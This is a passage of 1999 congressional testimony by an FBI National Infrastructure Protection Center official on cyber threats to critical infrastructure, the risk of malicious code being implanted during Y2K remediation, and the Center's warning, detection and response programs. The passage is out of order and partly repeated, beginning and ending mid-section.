security. Map Systems: By mapping systems as a trusted insider, a contractor can gain valuable information to sell to economic competitors or even foreign intelligence agencies. Systems can be compromised for any number of purposes, including foreign intelligence activities, information warfare, industrial espionage, terrorism, or organized crime. And since any vulnerabilities that are implanted will persist as long as the software is in place, this is a problem that will last well beyond January 1, 2000. Companies and government agencies therefore need to determine how they will deal with this potential "Post-Y2K problem" on their critical systems. We have little concrete evidence so far of vendors' planting malicious code during remediation. But the threat is such that companies should take every precaution possible. Of course, checking the remediation work to make sure that no malicious code was implanted in a system is no easy matter. If reviewing the millions of lines of code at issue were simple, there would be little need for Y2K contractors in the first place. Nevertheless, given the vulnerabilities that could be implanted in critical systems, it is imperative that the client companies do as much as possible to check the background of the companies doing their remediation work, oversee the remediation process closely, and review new code as closely as possible and remove any extraneous code. Further, companies should test for trap doors and other known vulnerabilities to cracking. Companies can also use "red teams" to try to crack the software and further determine if trap doors exist. Status of the NIPC The NIPC is an interagency Center located at the FBI. Created in 1998, the NIPC serves as the focal point for the government's efforts to warn of and respond to cyber intrusions. In PDD-63, the President directed that the NIPC "serve as a national critical infrastructure threat assessment, warning, vulnerability, and law enforcement investigation and response entity." The PDD further states that the mission of the NIPC "will include providing timely warnings of intentional threats, comprehensive analyses and law enforcement investigation and response." Thus, the PDD places the NIPC at the core of the government's warning, investigation, and response system for threats to, or attacks on, the nation's critical infrastructures. The NIPC is the focal point for gathering information on threats to the infrastructures as well as "facilitating and coordinating the Federal Government's response to an incident." The PDD further specifies that the NIPC should include "elements responsible for warning, analysis, computer investigation, coordinating emergency response, training, outreach, and development and application of technical tools." The NIPC has a vital role in collecting and disseminating information from all relevant sources. The PDD directs the NIPC to "sanitize law enforcement and intelligence information for inclusion into analyses and reports that it will provide, in appropriate form, to relevant federal, state, and local agencies; the relevant owners and operators of critical infrastructures; and to any private sector information sharing and analysis entity." The NIPC is also charged with issuing "attack warnings or alerts to increases in threat condition to any private sector information sharing and analysis entity and to the owners and operators." In order to perform its role, the NIPC is continuing to establish a network of relationships with a wide range of entities in both the government and the private sector. The PDD provides for this in several ways. First, it states that the Center will "include representatives from the FBI, U.S. Secret Service, and other investigators experienced in computer crimes and infrastructure protection, as well as representatives detailed from the Department of Defense, Intelligence Community and Lead Agencies.1 Second, pursuant to the PDD, the NIPC has electronic links to the rest of the government in order to facilitate the sharing of information and the timely issuance of warnings. Third, the PDD directs all executive departments and agencies to "share with the NIPC information about threats and warning of attacks and actual attacks on critical government and private sector infrastructures, to the extent permitted by law." By bringing other agencies directly into the Center and building direct communication linkages, the Center provides a means of coordinating the government's cyber expertise and ensuring full sharing of information, consistent with applicable laws and regulations. To accomplish its goals under the PDD, the NIPC is organized into three sections: 1) The Computer Investigations and Operations Section (CIOS) is the operational and response arm of the Center. It program manages computer intrusion investigations conducted by FBI Field Offices throughout the country; provides subject matter experts, equipment, and technical support to cyber investigators in federal, state, and local government agencies involved in critical infrastructure protection; and provides a cyber emergency response capability to help resolve a cyber incident. 2) The Analysis and Warning Section (AWS) serves as the "indications and warning" arm of the NIPC. The AWS reviews numerous government and private sector databases, media, and other sources daily to disseminate information that is relevant to any aspect of NIPC's mission, including the gathering of indications of a possible attack. It provides analytical support during computer intrusion investigations, performs analyses of infrastructure risks and threat trends, and produces current analytic products for the national security and law enforcement communities, the owners-operators of the critical infrastructures, and the computer network managers who protect their systems. It also distributes tactical warnings, alerts, and advisories to all the relevant partners, informing them of exploited vulnerabilities and threats. 3) The Training, Outreach and Strategy Section (TOSS) coordinates the training and continuing education of cyber investigators within the FBI Field Offices and other federal, state and local law enforcement agencies. It also coordinates our liaison with private sector companies, state and local governments, other government agencies, and the FBI's Field Offices. In addition, this section manages our collection and cataloguing of information concerning "key assets" -- i.e., critical individual components within each infrastructure sector, such as specific power grids, telecommunications switch nodes, or financial systems -- across the country. To facilitate our ability to investigate and respond to attacks, the FBI has created the National Infrastructure Protection and Computer Intrusion (NIPCI) Program in the 56 FBI Field Offices across the country. Under this program, managed by the NIPC at FBIHQ, "NIPCI" squads consisting of at least seven agents have been created in 10 Field Offices: Washington D.C., New York, San Francisco, Chicago, Dallas, Los Angeles, Atlanta, Charlotte, Boston, and Seattle. For FY 2000, we intend to reallocate our existing field agent compliment to create six additional squads in Baltimore, Houston, Miami, Newark, New Orleans, and San Diego. Because of resource constraints, the other field offices have only 1 - 5 agents dedicated to working NIPCIP matters. The NIPC's mission clearly requires the involvement and expertise of many agencies other than the FBI. This is why the NIPC, though housed at the FBI, is an interagency center that brings together personnel from all the relevant agencies. In addition to our 79 FBI employees, the NIPC currently has 28 representatives from: DoD (including the military services and component agencies), the CIA, DOE, NASA, the State Department as well as federal law enforcement, including the U.S. Secret Service, the U.S. Postal Service and, until recently, the Oregon State Police. The NIPC is in the process of seeking additional representatives from State and local law enforcement. But clearly we cannot rely on government personnel alone. Much of the technical expertise needed for our mission resides in the private sector. Accordingly, we rely on contractors to provide technical and other assistance. We are also in the process of arranging for private sector representatives to serve in the Center full time. In particular, the Attorney General and the Information Technology Association of America (ITAA) announced in April that the ITAA would detail personnel to the NIPC as part of a "Cybercitizens Partnership" between the government and the information technology (IT) industry. Information technology industry representatives serving in the NIPC would enhance our technical expertise and our understanding of the information and communications infrastructure. NIPC Activities The NIPC's operations can be divided into three categories: protection, detection, and response. Protection Our role in protecting infrastructures against cyber intrusions is not to advise the private sector on what hardware or software to use or to act as their systems administrator. Rather, our role is to provide information about threats, ongoing incidents, and exploited vulnerabilities so that government and private sector system administrators can take the appropriate protective measures. The NIPC is developing a variety of products to inform the private sector and other government agencies of threats, including: warnings, alerts, and advisories; the Infrastructure Protection Digest; Critical Infrastructure Developments; CyberNotes; and topical electronic reports. These products are designed for tiered distribution to both government and private sector entities consistent with applicable law and the need to protect intelligence sources and methods, and law enforcement investigations. For example, the Infrastructure Protection Digest is a quarterly publication providing analyses and information on critical infrastructure issues. The Digest provides analytical insights into major trends and events affecting the nation's critical infrastructures. It is usually published in both classified and unclassified formats and reaches national security and civilian government agency officials as well as infrastructure owners. Critical Infrastructure Developments is distributed bi-weekly to private sector entities. It contains analyses of recent trends, incidents, or events concerning critical infrastructure protection. CyberNotes is another NIPC publication designed to provide security and information system professionals with timely information on cyber vulnerabilities, hacker exploit scripts, hacker trends, virus information, and critical infrastructure-related best practices. It is published twice a month on our website and disseminated in hard copy to government and private sector audiences. The NIPC, in conjunction with the private sector, has also developed an initiative called "InfraGard" to expand direct contacts with the private sector infrastructure owners and operators and to share information about cyber intrusions and exploited vulnerabilities, with the goal of increasing protection of critical infrastructures. The initiative encourages the exchange of information by government and private sector members through the formation of local InfraGard chapters within the jurisdiction of each of the 56 FBI Field Offices. The initiative includes an intrusion alert network using encrypted e-mail, a secure website and local chapter activities. A critical component of InfraGard is the ability of industry to provide information on intrusions to the NIPC and the local FBI Field Office using secure communications in both a detailed and a "sanitized" format. The local FBI Field Offices can, if appropriate, use the detailed version to initiate an investigation, while the NIPC can analyze that information in conjunction with law enforcement, intelligence, open source, or other industry information to determine if the intrusion is part of a broader attack on numerous sites. The NIPC can simultaneously use the sanitized version to inform other members of the intrusion without compromising the confidentiality of the reporting company. InfraGard also provides us with a regular, secure method of providing additional security related to information to the private sector based on information we obtained from law enforcement investigations and other sources. InfraGard has recently been expanded to a total of 21 FBI Field Offices. The program will be expanded to the rest of the country later this year. Under PDD-63, the NIPC also serves as the U.S. government's "Lead Agency" for the Emergency Law Enforcement Services Sector. As Sector Liaison for law enforcement, the NIPC and a "Sector Coordinator" committee representing state and local law enforcement are formulating a plan to reduce the vulnerabilities of state and local law enforcement to cyber attack and are developing methods and procedures to share information within the sector. The NIPC and the FBI Field Offices are also working with the State and local law enforcement agencies to raise awareness with regard to vulnerabilities in this sector. Detection Given the ubiquitous vulnerabilities in existing Commercial Off-the-Shelf (COTS) software, intrusions into critical systems are inevitable for the foreseeable future. Thus, detection of these intrusions is critical if the U.S. Government and critical infrastructure owners and operators are going to be able to respond. To improve our detection capabilities, we first need to ensure that we are fully collecting, sharing, and analyzing all extant information from all relevant sources. It is often the case that intrusions can be discerned simply by collecting bits of information from various sources; conversely, if we don't collate these pieces of information for analysis, we might not detect the intrusions at all. Thus the NIPC's role in collecting information from all sources and performing analysis in itself aids the role of detection. The NIPC is currently concentrating on developing and implementing reliable mechanisms for receiving, processing, analyzing and storing information provided by government and private sector entities. This information is being used by NIPC analysts to develop tactical and strategic warning indicators of cyber threats and attacks. The NIPC and North American Energy Reliability Council (NERC) have established an industry-based Electric Power Working Group to develop tactical warning indicators and information sharing procedures for the electric power sector. The NIPC also has developed mechanisms to share cyber incident information with both government agencies and private companies in the telecommunications sector. In the long-term, our indications and warning efforts will require participation by the Intelligence Community, DoD, the sector lead agencies, other government agencies, federal, State and local law enforcement, and the private sector owners and operators of the infrastructures. Another initiative that will aid in the detection of network intrusions is the "Federal Intrusion Detection Network" ("FIDNet"), a National Security Council initiative that would be managed by the General Services Administration. Many agencies already have their own intrusion detection systems. FIDNet will enhance agencies' cyber security by linking their intrusion detection systems together so that suspicious patterns of activity can be detected and alerts issued across agencies. The goal of FIDNet is to detect intrusions in the federal civilian agencies' critical computer systems. (Contrary to recent press reports, FIDNet will not extend to private sector systems.) To do this, critical network event data will be captured and analyzed so that patterns can be established and, in the event of an attack, warnings issued. FIDNet will be the civilian agency counterpart for the automated detection system currently deployed across Department of Defense systems. FIDNet, under current plans, will consist of the following: sensors at key network nodes; a centrally managed GSA facility, the Federal Intrusion Detection Analysis Center (FIDAC), to analyze the technical data from the nodes; and secure storage and dissemination of collected information. The NIPC will receive reports from the FIDAC when there is evidence of a possible federal crime (such as a violation of 18 U.S.C §1030). Using all-source information, the Center would then analyze intrusions and other significant incidents to implement response efforts and support and inform national security decision-makers. FIDNet-derived information would also be combined with all-source reporting available to the NIPC to produce analysis and warning products which will be distributed to government, private sector companies, and the public, as appropriate. Response The NIPC's and the FBI's role in response principally consists of investigating intrusions to identify the responsible party and issuing warnings to affected entities so that they can take appropriate protective steps. As discussed earlier, in the cyber world, determining what is happening during a suspected intrusion is difficult, particularly in the early stages. An incident could be a system probe to find vulnerabilities or entry points, an intrusion to steal or alter data or plant sniffers or malicious code, or an attack to disrupt or deny service. The cyber crime scene is totally different from a crime scene in the physical world in that it is dynamic -- it grows, contracts, and can change shape. Determining whether an intrusion is even occurring can often be difficult in the cyber world, and usually a determination cannot be made until after an investigation is initiated. In the physical world, by contrast, one can see instantly if a building has been bombed or an airliner brought down. Further, the tools used to perpetrate a cyber terrorist attack can be the same ones used for other cyber intrusions (simple hacking, foreign intelligence gathering, organized crime activity to steal data, etc.), making identification and attribution more difficult. The perpetrators could be teenagers, criminal hackers, electronic protestors, terrorists, foreign intelligence services, or foreign military. In order to attribute an attack, FBI Field Offices can gather information from within the United Sates using either criminal investigative or foreign counter-intelligence authorities, depending on the circumstances. This information is necessary not only to identify the perpetrator but also to determine the size and nature of the intrusion: how many systems are affected, what techniques are being used, and what the purpose of the intrusions is--disruption, espionage, theft of money, etc. Relevant information also could come from the U.S. Intelligence Community (if the attack is from a foreign source), other U.S. government agency information, state and local law enforcement, private sector contacts, the media, other open sources, or foreign law enforcement contacts. The NIPC's role is to coordinate and collect this information. On the warning side, if we determine an intrusion is imminent or underway, the Watch and Warning Unit is responsible for formulating warnings, alerts, or advisories and quickly disseminating them to all appropriate parties. If we determine an attack is underway, we can issue warnings using an array of mechanisms, and send out sanitized and unsanitized warnings to the appropriate parties in the government and the private sector so they can take immediate protective steps. The Center has issued 22 warnings, alerts, or advisories between January 4 and September 22, 1999. Two other NIPC initiatives are directed to improving our response capabilities. First, to respond appropriately, our field investigators need the proper training. Training FBI and other agencies' investigators is critical if we hope to keep pace with the rapidly changing technology and be able to respond quickly and effectively to computer intrusions. The NIPC has been very active in training. These training efforts will help keep us at the cutting edge of law enforcement and national security in the 21st Century. The Center provided training to 314 attendees in FY 1998. In FY 99, over 383 FBI Agents, state and local law enforcement representatives, and representatives from other government agencies have taken FBI-sponsored courses on computer intrusions and network analysis, the workings of the energy and telecommunications key assets, and other relevant topics. Second, our Key Asset Initiative (KAI) facilitates response to threats and intrusion incidents by building liaison and communication links with the owners and operators of individual companies in the critical infrastructure sectors and enabling contingency planning. The KAI began in the 1980s and focused on physical vulnerabilities to terrorism. Under the NIPC, the KAI has been reinvigorated and expanded to focus on cyber vulnerabilities as well. The KAI initially will involve determining which assets are key within the jurisdiction of each FBI Field Office and obtaining 24-hour points of contact at each asset in cases of emergency. Eventually, if future resources permit, the initiative will include the development of contingency plans to respond to attacks on each asset, exercises to test response plans, and modeling to determine the effects of an attack on particular assets. FBI Field Offices will be responsible for developing a list of the assets within their respective jurisdictions, while the NIPC will maintain the national database. The KAI is being developed in coordination with DOD and other agencies. Conclusion While the NIPC has accomplished much over the last year in building the first national-level operational capability to respond to cyber intrusions, much work remains. We have learned from cases that successful network investigation is highly dependent on expert investigators and analysts, with state of the art equipment and training. We have begun to build that capability both in the FBI Field Offices and at NIPC Headquarters, but we have much work ahead if we are to build our resources and capability to keep pace with the changing technology and growing threat environment and be capable of responding to several major incidents at once. We have also demonstrated how much can be accomplished when agencies work together, share information, and coordinate their activities as much as legally permissible. But on this score, too, more can be done to achieve the interagency and public-private partnerships called for by PDD- 63. We need to ensure that all relevant agencies are sharing information about threats and incidents with the NIPC and devoting personnel and other resources to the Center so that we can continue to build a truly interagency, "national" center. Finally, we must work with Congress to make sure that policy makers understand the threats we face in the Information Age and what measures are necessary to secure our Nation against them. I look forward to working with the Members and Staff of this Committee to address these vitally important issues. Thank you. 1 The Lead Agencies are: Commerce for information and communications; Treasury for banking and finance; EPA for water supply; Transportation for aviation, highways, mass transit, pipelines, rail, and waterborne commerce; Justice/FBI for emergency law enforcement services; Federal Emergency Management Agency for emergency fire service and continuity of government; Health and Human Services for public health services. The Lead Agencies for special functions are: State for foreign affairs, CIA for intelligence, Defense for national defense, and Justice/FBI for law enforcement and internal security. The NIPC is performing the lead agency and special functions roles specified for "Justice/FBI" in the PDD. Introduction Mr. Chairman, Senator Feinstein, and Members of the Committee: Thank you for inviting me here today to discuss critical infrastructure protection issues. Mr. Chairman, you and this committee have been leaders in recognizing the importance of these issues and the urgency of addressing the new threats to our national security in the Information Age, and I welcome this opportunity to share our perspectives with you today. As you know, the Federal Government is developing its capabilities for dealing with threats to our nation's infrastructures. Presidential Decision Directive-63 set in motion an unprecedented effort to protect our nation's critical infrastructures, which the PDD defined as "those physical and cyber-based systems essential to the minimum operations of the economy and government." Critical infrastructures include telecommunications, energy, banking and finance, transportation, water systems, and emergency services, both public and private. The PDD formally designated the National Infrastructure Protection Center (NIPC) to have a central operational role in the government's effort. The Center works closely with the National Coordinator for Security, Infrastructure Protection, and Counter-terrorism; the Department of Defense (DoD); the U.S. Intelligence Community (USIC); other federal agencies; and the private sector to protect our critical infrastructures. My statement will cover the spectrum of threats we are facing and the status of the NIPC and its activities. Spectrum of Threats The news media is filled with examples of intrusions into government and private sector computer networks. Politically motivated hackers have been attacking numerous U.S. Government websites, including the Senate's. Deputy Secretary of Defense John Hamre reported in February that DoD is "detecting 80 to 100 [potential hacking] events daily." We have had several damaging computer viruses this year, including the Melissa Macro Virus, the Explore.Zip Worm, and the CIH (Chernobyl) Virus. Computer Economics, Inc., a California firm, estimates that damage in the first two quarters of 1999 from viruses has topped $7 billion. The FBI's case load for computer hacking and network intrusion cases has doubled each of the last two years. Currently we have over 800 pending investigations. In its 1999 survey, the Computer Security Institute estimated the total financial losses by the 163 businesses it surveyed from computer security breaches at $123.7 million. This includes everything from theft of proprietary data to denial of service on networks. E-commerce has become so important that firms, including Sedgwick Group PLC (in cooperation with IBM), Lloyds of London, and Network Risk Management Services, are now offering "hacker insurance." Sensitive Intrusions In the past few years we have seen a series of intrusions into numerous Department of Defense computer networks as well as networks of other federal agencies, universities, and private sector entities. Intruders have successfully accessed U.S. Government networks and took large amounts of unclassified but sensitive information. In investigating these cases, the NIPC has been coordinating with FBI Field Offices, the Department of Defense, and other government agencies, as circumstances require. But it is important that the Congress and the American public understand the very real threat that we are facing in the cyber realm, not just in the future, but now. Information Warfare Perhaps the greatest potential threat to our national security is the prospect of "information warfare" by foreign militaries against our critical infrastructures. We know that several foreign nations are already developing information warfare doctrine, programs, and capabilities for use against each other and the United States or other other nations. Foreign nations are developing information warfare programs because they see that they cannot defeat the United States in a head-to-head military encounter and they believe that information operations are a way to strike at what they perceive as America's Achilles Heel -- our reliance on information technology to control critical government and private sector systems. For example, two Chinese military officers recently published a book that called for the use of unconventional measures, including the propagation of computer viruses, to counterbalance the military power of the United States. In addition, during the recent conflict in Yugoslavia, hackers sympathetic to Serbia electronically "ping" attacked NATO web servers. And Russian as well as other individuals supporting the Serbs attacked websites in NATO countries, including the United States, using virus-infected e-mail and hacking attempts. Over 100 entities in the United States received these e-mails. Several British organizations lost files and databases. These attacks did not cause any disruption of the military effort, and the attacked entities quickly recovered. But such attacks are portents of much more serious attacks that we can expect foreign adversaries to attempt in future conflicts. Foreign intelligence services Foreign intelligence services have adapted to using cyber tools as part of their information gathering and espionage tradecraft. In a case dubbed "the Cuckoo's Egg," between 1986 and 1989 a ring of West German hackers penetrated numerous military, scientific, and industry computers in the United States, Western Europe, and Japan, stealing passwords, programs, and other information which they sold to the Soviet KGB. Significantly, this was over a decade ago -- ancient history in Internet years. While I cannot go into specifics about the situation today in an open hearing, it is clear that foreign intelligence services increasingly view computer intrusions as a useful tool for acquiring sensitive U.S. government and private sector information. Terrorists Terrorists are known to use information technology and the Internet to formulate plans, raise funds, spread propaganda, and to communicate securely. For example, convicted terrorist Ramzi Yousef, the mastermind of the World Trade Center bombing, stored detailed plans to destroy United States airliners on encrypted files on his laptop computer. Moreover, some groups have already used cyber attacks to inflict damage on their enemies' information systems. For example, a group calling itself the Internet Black Tigers conducted a successful "denial of service" attack on servers of Sri Lankan government embassies. Italian sympathizers of the Mexican Zapatista rebels attacked web pages of Mexican financial institutions. And a Canadian government report indicates that the Irish Republican Army has considered the use of information operations against British interests. We are also concerned that Aum Shinrikyo, which launched the deadly Sarin gas attack in the Tokyo subway system, could use its growing expertise in computer manufacturing and Internet technology to develop "cyber terrorism" weapons for use against Japanese and U.S. interests. Thus while we have yet to see a significant instance of "cyber terrorism" with widespread disruption of critical infrastructures, all of these facts portend the use of cyber attacks by terrorists to cause pain to targeted governments or civilian populations by disrupting critical systems. Criminal Groups We are also beginning to see the increased use of cyber intrusions by criminal groups who attack systems for purposes of monetary gain. For example, in 1994 the U.S. Secret Service uncovered a $50 million phone card scam that abused the accounts of AT&T, MCI, and Sprint customers. In addition, in 1994-95 an organized crime group headquartered in St. Petersburg, Russia, transferred $10.4 million from Citibank into accounts all over the world. After surveillance and investigation by the FBI's New York field office, all but $400,000 of the funds were recovered. In another case, Carlos Felipe Salgado, Jr. gained unauthorized access to several Internet Service Providers in California and stole 100,000 credit card numbers with a combined limit of over $1 billion. The FBI arrested him in the San Francisco International Airport when he tried to sell the credit card numbers to a cooperating witness for $260,000. With the expansion of electronic commerce, we expect to see an increase in hacking by organized crime as the new frontier for large-scale theft. Just two weeks ago, two members of a group dubbed the "Phonemasters" were sentenced after their conviction for theft and possession of unauthorized access devices (18 USC §1029) and unauthorized access to a federal interest computer (18 USC §1030). The "Phonemasters" are an international group of criminals who penetrated the computer systems of MCI, Sprint, AT&T, Equifax, and even the FBI's National Crime Information Center (NCIC). Under judicially approved electronic surveillance orders, the FBI's Dallas Field Office made use of new data intercept technology to monitor the calling activity and modem pulses of one of the suspects, Calvin Cantrell. Mr. Cantrell downloaded thousands of Sprint calling card numbers, which he sold to a Canadian individual, who passed them on to someone in Ohio. These numbers made their way to an individual in Switzerland and eventually ended up in the hands of organized crime groups in Italy. Mr. Cantrell was sentenced to two years as a result of his guilty plea, while one of his associates, Cory Lindsay, was sentenced to 41 months. The "Phonemasters" activities should serve as a wake up call for corporate security. Their methods included "dumpster diving" to gather old phone books and technical manuals for systems. They then used this information to trick employees into giving up their logon and password information. The group then used this information to break into victim systems. It is important to remember that often "cyber crimes" are facilitated by old fashioned guile, such as calling employees and tricking them into giving up passwords. Good "cyber security" practices must therefore address personnel security and "social engineering" in addition to instituting electronic security measures. Virus Writers Virus writers are posing an increasingly serious threat to networks and systems worldwide. As noted above, we have had several damaging computer viruses this year, including the Melissa Macro Virus, the Explore.Zip worm, and the CIH (Chernobyl) Virus. The NIPC frequently sends out warnings regarding particularly dangerous viruses. Earlier this year, we reacted quickly to the spread of the Melissa Macro Virus. While there are dozens of viruses released every day, the speedy propagation of Melissa and its effects on networks caused us great concern. Within hours of learning about the virus on Friday, March 26, 1999, we had coordinated with key cyber response components of DoD and the Computer Emergency Response Team (CERT) at Carnegie-Mellon University. Our Watch operation went into 24-hour posture and sent out warning messages to federal agencies, state and local law enforcement, FBI Field Offices, and the private sector. Because the virus affected systems throughout the public, we also took the unusual step of issuing a public warning through the FBI's Public Affairs Office and on our website. These steps helped mitigate the damage by alerting computer users of the virus and of protective steps they could take. On the investigative side, the NIPC acted as a central point of contact for the Field Offices who worked leads on the case. A tip received by the New Jersey State Police from America Online, and their follow-up investigation with the FBI's Newark Field Office, led to the April 1, 1999 arrest of David L. Smith. Search warrants were executed in New Jersey by the New Jersey State Police and FBI Special Agents from the Newark Field Office. Just in the last few weeks we have seen reports on the Suppl Word Macro virus, the toadie.exe virus, and the W97M/Thurs.A (or Thursday) virus. This last virus has already infected over 5,000 machines, according to news reports, and deletes files on victim's hard drives. The payload of the virus is triggered on 12-13 and disables the macro virus protection in Word 97. We are also concerned with the propagation of a Trojan Horse called Back Orifice 2000, which allows malicious actors to monitor or tamper with computers undetected by the users. Virus writers are not often broken out as a threat category, and yet they often do more damage to networks than hackers do. The prevalence of computer viruses reminds us that we all have to be very careful about the attachments we open and we all must be sure to keep our anti-virus software up-to-date. Hactivism Recently we have seen a rise in what has been dubbed "hacktivism"-- politically motivated attacks on publicly accessible web pages or e-mail servers. These groups and individuals overload e-mail servers and hack into web sites to send a political message. While these attacks generally have not altered operating systems or networks, they still damage services and deny the public access to websites containing valuable information and infringe on others' right to communicate. One such group is called the "Electronic Disturbance Theater," which promotes civil disobedience on-line in support of its political agenda regarding the Zapatista movement in Mexico and other issues. This past spring they called for worldwide electronic civil disobedience and have taken what they term "protest actions" against White House and Department of Defense servers. Supporters of Kevin Mitnick, recently convicted of numerous computer security offenses, hacked into the Senate webpage and defaced it in May and June of this past year. The Internet has enabled new forms of political gathering and information sharing for those who want to advance social causes; that is good for our democracy. But illegal activities that disrupt e-mail servers, deface web-sites, and prevent the public from accessing information on U.S. government and private sector web sites should be regarded as criminal acts that deny others their First Amendment rights to communicate rather than as an acceptable form of protest. "Recreational" Hackers Virtually every day we see a report about "recreational hackers," or "crackers," who crack into networks for the thrill of the challenge or for bragging rights in the hacker community. While remote cracking once required a fair amount of skill or computer knowledge, the recreational hacker can now download attack scripts and protocols from the World Wide Web and launch them against victim sites. Thus while attack tools have become more sophisticated, they have also become easier to use. These types of hacks are very numerous and may appear on their face to be benign. But they can have serious consequences. A well-known example of this involved a juvenile who hacked into the NYNEX (now Bell Atlantic) telephone system that serviced the Worcester, Massachusetts area using his personal computer and modem. The hacker shut down telephone service to 600 customers in the local community. The resulting disruption affected all local police and fire 911 services as well as the ability of incoming aircraft to activate the runway lights at the Worcester airport. Telephone service was out at the airport tower for six hours. The U.S. Secret Service investigation of this case also brought to light a vulnerability in 22,000 telephone switches nationwide that could be taken down with four keystrokes. Because he was a juvenile, however, the hacker was sentenced to only two years probation and 250 hours of community service, and was forced to forfeit the computer equipment used to hack into the phone system and reimburse the phone company for $5,000. This case demonstrated that an attack against our critical communications hubs can have cascading effects on several infrastructures. In this case, transportation, emergency services, and telecommunications were disrupted. It also showed that widespread disruption could be caused by a single person from his or her home computer. Insider Threat The disgruntled insider is a principal source of computer crimes. Insiders do not need a great deal of knowledge about computer intrusions, because their knowledge of victim systems often allows them to gain unrestricted access to cause damage to the system or to steal system data. The 1999 Computer Security Institute/FBI report notes that 55% of respondents reported malicious activity by insiders. There are many cases in the public domain involving disgruntled insiders. For example, Shakuntla Devi Singla used her insider knowledge and another employee's password and logon identification to delete data from a U.S. Coast Guard personnel database system. It took 115 agency employees over 1800 hours to recover and reenter the lost data. Ms. Singla was convicted and sentenced to five months in prison, five months home detention, and ordered to pay $35,000 in restitution. In another case, a former Forbes employee named George Parente hacked got into Forbes systems using another employee's password and login identification and crashed over half of Forbes' computer network servers and erased all of the data on each of the crashed services. The data could not be restored. The losses to Forbes were reportedly over $100,000. Identifying the Intruder One major difficulty that distinguishes cyber threats from physical threats is determining who is attacking your system, why, how, and from where. This difficulty stems from the ease with which individuals can hide or disguise their tracks by manipulating logs and directing their attacks through networks in many countries before hitting their ultimate target. The now well know "Solar Sunrise" case illustrates this point. Solar Sunrise was a multi-agency investigation (which occurred while the NIPC was being established) of intrusions into more than 500 military, civilian government, and private sector computer systems in the United States, during February and March 1998. The intrusions occurred during the build-up of United States military personnel in the Persian Gulf in response to tension with Iraq over United Nations weapons inspections. The intruders penetrated at least 200 unclassified U.S. military computer systems, including seven Air Force bases and four Navy installations, Department of Energy National Laboratories, NASA sites, and university sites. Agencies involved in the investigation included the FBI, DoD, NASA, Defense Information Systems Agency, AFOSI, and the Department of Justice. The timing of the intrusions and links to some Internet Service Providers in the Gulf region caused many to believe that Iraq was behind the intrusions. The investigation, however, revealed that two juveniles in Cloverdale, California and several individuals in Israel were the culprits. Solar Sunrise thus demonstrated to the interagency community how difficult it is to identify an intruder until facts are gathered in an investigation, and why assumptions cannot be made until sufficient facts are available. It also vividly demonstrated the vulnerabilities that exist in our networks; if these individuals were able to assume "root access" to DoD systems, it is not difficult to imagine what hostile adversaries with greater skills and resources would be able to do. Finally, Solar Sunrise demonstrated the need for interagency coordination by the NIPC. Special Threat: Y2K Malicious Activity The main concern with the Y2K rollover is, of course, the possibility of widespread service outages caused by the millennium date problem in older computer systems. The President's Y2K Council has done an excellent job in helping the nation prepare for the rollover event. Given our overall mission under PDD 63, the NIPC's role with regard to Y2K will be to maintain real-time awareness of intentional cyber threats or incidents that might take place around the transition to 2000, disseminate warnings to the appropriate government and private sector parties, and coordinate the government's response to such incidents. We are not responsible for dealing with system outages caused by the millennium bug. Because of the possibility that there might be an increase in malicious activity around January 1, 2000, we have formulated contingency plans both for NIPC Headquarters and the FBI Field Offices. We are presently augmenting our existing relationships and information-sharing mechanisms with relevant entities in the federal government, such as the Information Coordination Center (ICC), state and local governments, private industry, and the CERT/FIRST community. Information will come to us from a variety of places, including FBI field offices and Legal Attaches overseas, as well as the ICC. FBI field offices are also tasked to establish Y2K plans for their regions of responsibility. In essence, all of the activities that we will undertake during the rollover period are ones we perform everyday. The difference is that we will be prepared to conduct them at an increased tempo to deal with any incidents occurring during the Y2K rollover. There is one potential problem associated with Y2K that causes us special concern -- the possibility that malicious actors, foreign or domestic, could use the Y2K remediation process to install malicious code in the "remediated" software. Thousands of companies across the United States and around the world are busy having their source code reviewed to ensure that they are "Y2K compliant." Those who are doing the Y2K remediation are almost always contractors who are given the status of a trusted insider with broad authority to review and make changes to the source code that runs information systems. These contractors could, undetected, do any of the following to compromise systems: Install Trap Doors: By installing trap doors, intruders can later gain access to a system through an opening that they have created and then exploit or attack the system Obtain "Root Access": Given their level of access, remediation companies can gain the same extensive privileges as the system administrator, allowing them to steal or alter information or engage in a "denial of service" attack on the system. Implant Malicious Code: By implanting malicious code, someone could place a logic bomb or a time-delayed virus in a system that will later disrupt it. A malicious actor could also implant a program to compromise passwords or other aspects of system security. Map Systems: By mapping systems as a trusted insider, a contractor can gain valuable information to sell to economic competitors or even foreign intelligence agencies. Systems can be compromised for any number of purposes, including foreign intelligence activities, information warfare, industrial espionage, terrorism, or organized crime. And since any vulnerabilities that are implanted will persist as long as the software is in place, this is a problem that will last well beyond January 1, 2000. Companies and government agencies therefore need to determine how they will deal with this potential "Post-Y2K problem" on their critical systems. We have little concrete evidence so far of vendors' planting malicious code during remediation. But the threat is such that companies should take every precaution possible. Of course, checking the remediation work to make sure that no malicious code was implanted in a system is no easy matter. If reviewing the millions of lines of code at issue were simple, there would be little need for Y2K contractors in the first place. Nevertheless, given the vulnerabilities that could be implanted in critical systems, it is imperative that the client companies do as much as possible to check the background of the companies doing their remediation work, oversee the remediation process closely, and review new code as closely as possible and remove any extraneous code. Further, companies should test for trap doors and other known vulnerabilities to cracking. Companies can also use "red teams" to try to crack the software and further determine if trap doors exist. Status of the NIPC The NIPC is an interagency Center located at the FBI. Created in 1998, the NIPC serves as the focal point for the government's efforts to warn of and respond to cyber intrusions. In PDD-63, the President directed that the NIPC "serve as a national critical infrastructure threat assessment, warning, vulnerability, and law enforcement investigation and response entity." The PDD further states that the mission of the NIPC "will include providing timely warnings of intentional threats, comprehensive analyses and law enforcement investigation and response." Thus, the PDD places the NIPC at the core of the government's warning, investigation, and response system for threats to, or attacks on, the nation's critical infrastructures. The NIPC is the focal point for gathering information on threats to the infrastructures as well as "facilitating and coordinating the Federal Government's response to an incident." The PDD further specifies that the NIPC should include "elements responsible for warning, analysis, computer investigation, coordinating emergency response, training, outreach, and development and application of technical tools." The NIPC has a vital role in collecting and disseminating information from all relevant sources. The PDD directs the NIPC to "sanitize law enforcement and intelligence information for inclusion into analyses and reports that it will provide, in appropriate form, to relevant federal, state, and local agencies; the relevant owners and operators of critical infrastructures; and to any private sector information sharing and analysis entity." The NIPC is also charged with issuing "attack warnings or alerts to increases in threat condition to any private sector information sharing and analysis entity and to the owners and operators." In order to perform its role, the NIPC is continuing to establish a network of relationships with a wide range of entities in both the government and the private sector. The PDD provides for this in several ways. First, it states that the Center will "include representatives from the FBI, U.S. Secret Service, and other investigators experienced in computer 